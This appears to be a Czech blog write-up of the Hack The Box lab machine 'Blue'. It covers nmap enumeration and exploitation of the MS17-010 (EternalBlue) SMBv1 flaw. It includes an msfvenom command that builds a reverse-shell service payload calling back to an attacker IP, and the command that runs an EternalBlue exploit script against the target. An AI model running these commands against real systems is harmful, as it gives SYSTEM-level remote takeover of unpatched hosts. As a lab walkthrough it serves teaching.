tom@home.htb:~$

Blog o HTB

7 November 2020

Blue

Úvod a kontext

Blue je skoro učebnicový příklad toho, jak devastující je ponechat do internetu vystavený nepatchovaný SMBv1. Tady není potřeba složitý řetězec: už samotné potvrzení ms17-010 znamená, že jedna síťová služba stačí k plné kompromitaci systému.

Didaktická hodnota článku leží právě v jeho přímočarosti. nmap, smb-vuln-ms17-010, připravený payload a okamžitý shell s právy SYSTEM velmi názorně ukazují rozdíl mezi běžnou chybou konfigurace a kritickou vzdálenou zranitelností v síťové vrstvě.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-02-05T15:52:49
|_  start_date: 2022-02-05T15:44:10
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-02-05T15:52:50+00:00
|_clock-skew: mean: 5m00s, deviation: 1s, median: 4m59s

Vyhledání otevřených portů (2)

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -n -v -sV -Pn -p 139,445 --script=smb-vuln* $IP
PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

Získání přístupu

Zneužití MS17-010

Jakmile je ms17-010 potvrzené, další krok je čistě exekuční: připravit servisní payload a předat ho exploitu pro EternalBlue.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4000 -f exe-service -o w_x64_shell_reverse_tcp_svc.exe

python2 blue-ms17-010.py 10.10.10.40 ntsvcs ../Payloads/w_x64_shell_reverse_tcp_svc.exe

Získání user flagu

user.txt je zde spíš ilustrace dopadu než mezikrok. Po úspěšném EternalBlue exploitu je host už kompromitovaný na úrovni SYSTEM, takže oddělení user/root je prakticky jen formální.

more user.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

Stejná logika platí i pro root.txt: žádná samostatná eskalace už není potřeba, protože SMB exploit rovnou dává nejvyšší oprávnění v systému.

more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - smb - exploit - enumeration - privesc - hackthebox